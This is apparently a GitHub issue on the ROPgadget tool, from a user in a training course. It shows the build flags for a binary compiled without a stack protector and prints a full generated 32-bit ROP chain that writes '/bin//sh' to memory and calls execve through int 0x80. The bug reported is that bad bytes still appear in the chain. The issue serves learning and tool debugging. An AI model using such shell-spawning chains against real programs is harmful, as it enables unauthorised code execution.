Open
Description
I am not very experienced using this tool, but I have an example in one of my trainings and I can't seem to get it to work.
So rename this to target.cpp (github is not a fan of uploading C++ files it seems) target.txt
Build it like this (added pthread and static to make the binary bigger):
g++ -ggdb3 -m32 -static -pthread -fno-stack-protector -o target target.cpp
Then try to generate a ropchain with these badbytes:
ROPgadget --ropchain --binary target --badbytes "20|00|09|0b"
Generated chain
p += pack('<I', 0x0804a6e0) # pop esi ; ret
p += pack('<I', 0x08209060) # @ .data
p += pack('<I', 0x080f76aa) # pop eax ; ret
p += b'/bin'
p += pack('<I', 0x080ac1d0) # mov dword ptr [esi], eax ; pop ebx ; pop esi ; pop edi ; ret
p += pack('<I', 0x41414141) # padding
p += pack('<I', 0x41414141) # padding
p += pack('<I', 0x41414141) # padding
p += pack('<I', 0x0804a6e0) # pop esi ; ret
p += pack('<I', 0x08209064) # @ .data + 4
p += pack('<I', 0x080f76aa) # pop eax ; ret
p += b'//sh'
p += pack('<I', 0x080ac1d0) # mov dword ptr [esi], eax ; pop ebx ; pop esi ; pop edi ; ret
p += pack('<I', 0x41414141) # padding
p += pack('<I', 0x41414141) # padding
p += pack('<I', 0x41414141) # padding
p += pack('<I', 0x0804a6e0) # pop esi ; ret
p += pack('<I', 0x08209068) # @ .data + 8
p += pack('<I', 0x08056794) # xor eax, eax ; ret
p += pack('<I', 0x080ac1d0) # mov dword ptr [esi], eax ; pop ebx ; pop esi ; pop edi ; ret
p += pack('<I', 0x41414141) # padding
p += pack('<I', 0x41414141) # padding
p += pack('<I', 0x41414141) # padding
p += pack('<I', 0x08049022) # pop ebx ; ret
p += pack('<I', 0x08209060) # @ .data
p += pack('<I', 0x080c0105) # pop ecx ; ret
p += pack('<I', 0x08209068) # @ .data + 8
p += pack('<I', 0x08129249) # pop edx ; pop ebx ; ret
p += pack('<I', 0x08209068) # @ .data + 8
p += pack('<I', 0x08209060) # padding without overwrite ebx
p += pack('<I', 0x08056794) # xor eax, eax ; ret
p += pack('<I', 0x0815916e) # inc eax ; ret
p += pack('<I', 0x0815916e) # inc eax ; ret
p += pack('<I', 0x0815916e) # inc eax ; ret
p += pack('<I', 0x0815916e) # inc eax ; ret
p += pack('<I', 0x0815916e) # inc eax ; ret
p += pack('<I', 0x0815916e) # inc eax ; ret
p += pack('<I', 0x0815916e) # inc eax ; ret
p += pack('<I', 0x0815916e) # inc eax ; ret
p += pack('<I', 0x0815916e) # inc eax ; ret
p += pack('<I', 0x0815916e) # inc eax ; ret
p += pack('<I', 0x0815916e) # inc eax ; ret
p += pack('<I', 0x080f63eb) # int 0x80
Which has 0x20 bytes present in addresses that are used for data and padding.
Please let me know if this is just me using it wrong, I would love to get this working.
Thank you so much!
Metadata
Metadata
Assignees
Labels
No labels